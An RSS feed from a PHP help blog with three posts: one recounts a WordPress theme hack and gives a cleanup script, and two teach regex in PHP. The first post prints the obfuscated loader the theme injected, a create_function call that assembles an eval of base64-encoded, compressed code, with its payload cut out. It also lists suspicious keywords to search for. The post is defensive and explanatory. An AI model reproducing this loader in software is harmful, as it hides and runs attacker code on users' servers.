<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Amoeba Solution Kiosk &#187; Regular Expression</title> <atom:link href="http://ask.amoeba.co.in/topics/regular-expression/feed/" rel="self" type="application/rss+xml" /><link>http://ask.amoeba.co.in</link> <description>Providing solutions for PHP, MySQL, Flash, Flex, Action Script, Javascript, YUI, JQuery, CSS, XHTML problems.</description> <lastBuildDate>Fri, 30 Dec 2011 18:12:55 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.2.1</generator> <item><title>Free WordPress themes and Malicious/Devil Codes</title><link>http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/</link> <comments>http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/#comments</comments> <pubDate>Fri, 04 Nov 2011 10:17:09 +0000</pubDate> <dc:creator>Aneeska</dc:creator> <category><![CDATA[PHP/MySQL]]></category> <category><![CDATA[Regular Expression]]></category> <category><![CDATA[WordPress]]></category> <category><![CDATA[hacking]]></category> <category><![CDATA[malicious]]></category> <category><![CDATA[php]]></category> <category><![CDATA[removal]]></category> <category><![CDATA[scanner]]></category> <category><![CDATA[security]]></category> <guid
isPermaLink="false">http://ask.amoeba.co.in/?p=172</guid> <description><![CDATA[I know it doesn&#8217;t sound good to talk bad here specially when you are writing an article after a long while. We have changed our website theme so it looks simple and loads pretty fast and we are back in to our business of giving things free and expecting nothing back . We don&#8217;t ask [...]]]></description> <content:encoded><![CDATA[<p>I know it doesn&#8217;t sound good to talk bad here specially when you are writing an article after a long while. We have changed our website theme so it looks simple and loads pretty fast and we are back in to our business of giving things free and expecting nothing back <img
src='http://ask.amoeba.co.in/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . We don&#8217;t ask you to sign-up, we don&#8217;t ask you to click or read through our ads, and we don&#8217;t ask you to pay for our service. There are many amazing things out there which are absolutely free, like the WordPress platform we are using which is incredible! One would normally not really think twice before using any freely available WordPress theme. I did the same mistake, I went ahead and installed a theme named &#8216;Freshblog&#8217; created by &#8216;Best WordPress Themes&#8217; and featured at WordPress Theme Shock and Themes2WP for this site only to realize that I was hacked! I first noticed a few links pointing to some crazy websites being inserted at the bottom of every page which I couldn&#8217;t really find where they were coming from. It was not any of the plug-ins doing this. I used the WP Re-install feature to rewrite all the WP files except the Wp-Content and the WP-Config files. The problem didn&#8217;t go away. Did a backtrace at different levels and find out a chunk of malicious code in Wp-Config.php. I then did a search for similar pattern in my entire server and whoa! all the PHP files on my server had been injected with this malicious code.</p><p>I would not have had any issues if they added a few links back to their site for providing this theme for free but the buggers injected the malicious code in all the PHP files on my server, driving me nuts. Thank God, it was all in the same pattern making it easy for me to clean them using a script.</p><p>Now,  how to scan for this malicious script and clean it?</p><p>Here is the script I wrote to clean the malicious code from all the PHP files on the server. Copy the below code to a file and put it in your root folder in your server and run it. I am sure most of the free themes from the above mentioned sites would have the malicious code in the same format. I&#8217;ll try to add more patterns to this script as you or I come across the others.</p><pre class="brush: php; html-script: false; title: ; notranslate">
&lt;?php
set_time_limit(0);
$di = new RecursiveDirectoryIterator(getcwd());
foreach (new RecursiveIteratorIterator($di) as $filename =&gt; $file) {
	$path = pathinfo($filename);
	if('php' == strtolower($path['extension'])) {
		$content = file_get_contents($filename);
		$replaced = preg_replace('/\&lt;\?php[.\r\n\t\s]*\$md5[.\r\n\t\s]*([^&lt;]+)*/', '', $content);
		if($content != $replaced) {
			file_put_contents($filename, $replaced);
			echo 'Cleaned ' . $filename . '&lt;br/&gt;';
		}
	}
}
?&gt;
</pre><p>The malicious code in the theme I installed looked like this:</p><pre class="brush: php; html-script: false; title: ; notranslate">
&lt;?php
$md5 = &quot;f87975b5d07349ceb2073f410800d343&quot;;
$wp_salt = array(';',&quot;n&quot;,'t',&quot;)&quot;,&quot;v&quot;,'_','e','o',&quot;l&quot;,'r',&quot;g&quot;,'i','s',&quot;6&quot;,&quot;a&quot;,'b','4',&quot;$&quot;,'c','z','d',&quot;f&quot;,&quot;(&quot;);
$wp_add_filter = create_function('$'.'v',$wp_salt[6].$wp_salt[4].$wp_salt[14].$wp_salt[8].$wp_salt[22].$wp_salt[10].$wp_salt[19].$wp_salt[11].$wp_salt[1].$wp_salt[21].$wp_salt[8].$wp_salt[14].$wp_salt[2].$wp_salt[6].$wp_salt[22].$wp_salt[15].$wp_salt[14].$wp_salt[12].$wp_salt[6].$wp_salt[13].$wp_salt[16].$wp_salt[5].$wp_salt[20].$wp_salt[6].$wp_salt[18].$wp_salt[7].$wp_salt[20].$wp_salt[6].$wp_salt[22].$wp_salt[17].$wp_salt[4].$wp_salt[3].$wp_salt[3].$wp_salt[3].$wp_salt[0]);
$wp_add_filter('FZfFzobalkUf........Huge Junk Code Here......obalkU');
?&gt;
</pre><p>There is an excellent post telling you why you should use themes only from WordPress.org. Read here: <a
href="http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/">http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/</a></p><p>Before installing any free theme you got from a gallery site, search for terms like &#8216;md5&#8242;, &#8216;eval&#8217;, &#8216;create_function&#8217;, &#8216;wp_add_filter&#8217;, &#8216;hex&#8217; in your theme source and make sure that they are not malicious code.</p><p>You can also install and run the plug-in &#8216;Exploit Scanner&#8217; to see if you are already hacked. If you see a different pattern for these malicious code, send me the code and I will add the matching patterns for them in my scanner code.</p><p>Have Fun!</p><div
class="bottomcontainerBox" style=""><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <iframe
src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fask.amoeba.co.in%2Ffree-wordpress-themes-and-maliciousdevil-codes%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div><div
style="float:left; width:65px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <g:plusone size="medium" href="http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/"></g:plusone></div><div
style="float:left; width:100px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <a
href="http://twitter.com/share" class="twitter-share-button" data-url="http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/"  data-text="Free WordPress themes and Malicious/Devil Codes" data-count="horizontal" data-via="aneesme">Tweet</a></div><div
style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script type="in/share" data-url="http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/" data-counter="right"></script></div><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/"></script></div></div><div
style="clear:both"></div><div
style="padding-bottom:4px;"></div>]]></content:encoded> <wfw:commentRss>http://ask.amoeba.co.in/free-wordpress-themes-and-maliciousdevil-codes/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>PHP &#8211; Search in an Array for Values Matching a Pattern &#8211; Regex, Wildcard</title><link>http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/</link> <comments>http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/#comments</comments> <pubDate>Wed, 07 Jul 2010 14:22:13 +0000</pubDate> <dc:creator>Aneeska</dc:creator> <category><![CDATA[PHP/MySQL]]></category> <category><![CDATA[Programming Techniques]]></category> <category><![CDATA[Regular Expression]]></category> <category><![CDATA[array]]></category> <category><![CDATA[array_search]]></category> <category><![CDATA[in_array]]></category> <category><![CDATA[pattern]]></category> <category><![CDATA[php]]></category> <category><![CDATA[preg_grep]]></category> <category><![CDATA[regex]]></category> <category><![CDATA[search in array]]></category> <guid
isPermaLink="false">http://ask.amoeba.co.in/?p=140</guid> <description><![CDATA[I have an array with many values and I need to do a search to find all the values that match a pattern. We have functions like in_array &#38; array_search in PHP, but these functions basically try to match the exact needle value in the array. I need to use my Regular Expression Pattern and [...]]]></description> <content:encoded><![CDATA[<p>I have an array with many values and I need to do a search to find all the values that match a pattern. We have functions like <strong>in_array</strong> &amp; <strong>array_search</strong> in PHP, but these functions basically try to match the exact needle value in the array. I need to use my <strong>Regular Expression Pattern</strong> and find all the array values that match the regex pattern.</p><p>The PHP function <strong>preg_grep</strong> handles this beautifully. It accepts the <strong>Regex </strong>pattern and the array to search for as its parameters. It then returns the array consisting of the elements of the input array that match the given pattern. The returned array is indexed using the keys from the input array.</p><p>Here is my array:<br
/> Array<br
/> (<br
/> [0] =&gt; Armenia<br
/> [1] =&gt; America<br
/> [2] =&gt; Algeria<br
/> [3] =&gt; India<br
/> [4] =&gt; Brazil<br
/> [5] =&gt; Croatia<br
/> [6] =&gt; Denmark<br
/> )<br
/> I want to find all the countries in the array which start with the letter &#8216;A&#8217;. We need to form a regular expression which will match all the strings starting with letter A.</p><p>I have got this simple regular expression: <strong>&#8216;/^A.*/&#8217;</strong></p><p>Now here is the PHP code to find the values from the Array.</p><pre class="brush: php; html-script: true; title: ; notranslate">
&lt;?php
$array = array('Armenia', 'America', 'Algeria', 'India', 'Brazil', 'Croatia', 'Denmark');
$fl_array = preg_grep('/^A.*/', $array);
echo '&lt;pre&gt;';
print_r($fl_array);
echo '&lt;/pre&gt;';
?&gt;
</pre><p>Which then gives you this output:<br
/> Array<br
/> (<br
/> [0] =&gt; Armenia<br
/> [1] =&gt; America<br
/> [2] =&gt; Algeria<br
/> )</p><p>Here are some Regular Expression Patterns you could use.</p><p>Find whole numbers: <strong>&#8216;/^\d+$/&#8217;</strong><br
/> Floating numbers: <strong>&#8216;/^\d+\.{1}\d+$/&#8217;</strong><br
/> Lowercase Words: <strong>&#8216;/^[a-z]+$/&#8217; </strong></p><p>Play with Regular Expressions and let me know if you have any questions or if you need more patterns. I am planning to publish an article on Regular Expressions soon.</p><div
class="bottomcontainerBox" style=""><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <iframe
src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fask.amoeba.co.in%2Fphp-search-in-an-array-for-values-matching-a-pattern-regex-wildcard%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div><div
style="float:left; width:65px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <g:plusone size="medium" href="http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/"></g:plusone></div><div
style="float:left; width:100px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <a
href="http://twitter.com/share" class="twitter-share-button" data-url="http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/"  data-text="PHP &#8211; Search in an Array for Values Matching a Pattern &#8211; Regex, Wildcard" data-count="horizontal" data-via="aneesme">Tweet</a></div><div
style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script type="in/share" data-url="http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/" data-counter="right"></script></div><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/"></script></div></div><div
style="clear:both"></div><div
style="padding-bottom:4px;"></div>]]></content:encoded> <wfw:commentRss>http://ask.amoeba.co.in/php-search-in-an-array-for-values-matching-a-pattern-regex-wildcard/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Regular Expression in PHP &#8211; Find Link Texts</title><link>http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/</link> <comments>http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/#comments</comments> <pubDate>Thu, 28 Jan 2010 18:13:02 +0000</pubDate> <dc:creator>Aneeska</dc:creator> <category><![CDATA[PHP/MySQL]]></category> <category><![CDATA[Programming Techniques]]></category> <category><![CDATA[Regular Expression]]></category> <category><![CDATA[extracting links]]></category> <category><![CDATA[link href]]></category> <category><![CDATA[link text]]></category> <category><![CDATA[pattern matching]]></category> <category><![CDATA[php]]></category> <category><![CDATA[regex]]></category> <category><![CDATA[regexp]]></category> <guid
isPermaLink="false">http://ask.amoeba.co.in/?p=78</guid> <description><![CDATA[A small article for those who want to experience with Regular Expressions in PHP. Regular expressions, also referred to as regex or regexp, provide a concise and flexible means for matching strings of text, such as particular characters, words, or patterns of characters. Regular expressions are used by many text editors, utilities, and programming languages [...]]]></description> <content:encoded><![CDATA[<p>A small article for those who want to experience with Regular Expressions in PHP.<strong> Regular expressions</strong>, also referred to as <strong>regex</strong> or <strong>regexp</strong>, provide a concise and flexible means for matching strings of text, such as particular characters, words, or patterns of characters. Regular expressions are used by many text editors, utilities, and programming languages to search and manipulate text based on patterns.</p><p>OK. Let&#8217;s now try a small example. Let&#8217;s try to find the URL defined in the HREF attribute and the Link Text in all the <a> tags present in an HTML string.</a></p><p>This is the HTML we have:</p><p>&lt;html&gt;<br
/> &lt;body&gt;<br
/> &lt;a href=&#8221;http://www.google.com&#8221;&gt;Google&lt;/a&gt;<br
/> &lt;a href=&#8221;http://www.yahoo.com&#8221;&gt;Yahoo&lt;/a&gt;<br
/> &lt;/body&gt;<br
/> &lt;/html&gt;</p><p>We will now find the href value and the link text in the above html code. So we are expecting an output like this.</p><p>http://www.google.com &#8211; Google<br
/> http://www.yahoo.com &#8211; Yahoo</p><p>Here is the Regular Expression for this.</p><pre class="brush: php; html-script: true; title: ; notranslate">
preg_match_all(&quot;/\&lt;a.*href=\&quot;(.*?)\&quot;.*?\&gt;(.*)\&lt;\/a\&gt;+/&quot;, $yourhtmlstring, $matches, PREG_SET_ORDER);
</pre><dl><dt><span><strong><tt>PREG_SET_ORDER </tt></strong><tt>is used </tt></span>order results so that <var>$matches[0]</var> is an array of first  set of matches, <var>$matches[1]</var> is an array of second set  of matches, and so on.</dt></dl><p>All the matchings found will be returned in the $matches array. Let&#8217;s see the content of the $matches array.</p><pre>Array
(
    [0] =&gt; Array
        (
            [0] =&gt; <a href="http://www.google.com">Google</a>
            [1] =&gt; http://www.google.com
            [2] =&gt; Google
        )
    [1] =&gt; Array
        (
            [0] =&gt; <a href="http://www.yahoo.com">Yahoo</a>
            [1] =&gt; http://www.yahoo.com
            [2] =&gt; Yahoo
        )
)
</pre><p>A simple script for you to try:</p><pre class="brush: php; html-script: true; title: ; notranslate">
&lt;?php
if(count($_POST)) {
	preg_match_all(&quot;/\&lt;a.*href=\&quot;(.*?)\&quot;.*?\&gt;(.*)\&lt;\/a\&gt;+/&quot;, stripslashes($_POST['data']), $matches, PREG_SET_ORDER);
	foreach($matches as $key=&gt;$match) {
		echo htmlentities($match[2]).' : '.$match[1].&quot;&lt;br/&gt;&quot;;
	}
}
?&gt;
&lt;br/&gt;
&lt;br/&gt;
&lt;form action=&quot;&quot; enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&gt;
&lt;textarea name=&quot;data&quot; rows=&quot;10&quot; cols=&quot;100&quot;&gt;&lt;/textarea&gt;&lt;br&gt;
&lt;input type=&quot;submit&quot; name=&quot;submit&quot;/&gt;
&lt;/form&gt;
</pre><p>This script when run shows a text area where you can paste your html code with &lt;a&gt; tags in it. Submit the form and you can see the links extracted.</p><p>More articles on Regular Expression coming soon!</p><p>Enjoy!</p><div
class="bottomcontainerBox" style=""><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <iframe
src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fask.amoeba.co.in%2Fregular-expression-in-php-extract-link-text-href%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div><div
style="float:left; width:65px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <g:plusone size="medium" href="http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/"></g:plusone></div><div
style="float:left; width:100px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"> <a
href="http://twitter.com/share" class="twitter-share-button" data-url="http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/"  data-text="Regular Expression in PHP &#8211; Find Link Texts" data-count="horizontal" data-via="aneesme">Tweet</a></div><div
style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script type="in/share" data-url="http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/" data-counter="right"></script></div><div
style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/"></script></div></div><div
style="clear:both"></div><div
style="padding-bottom:4px;"></div>]]></content:encoded> <wfw:commentRss>http://ask.amoeba.co.in/regular-expression-in-php-extract-link-text-href/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> </channel> </rss>
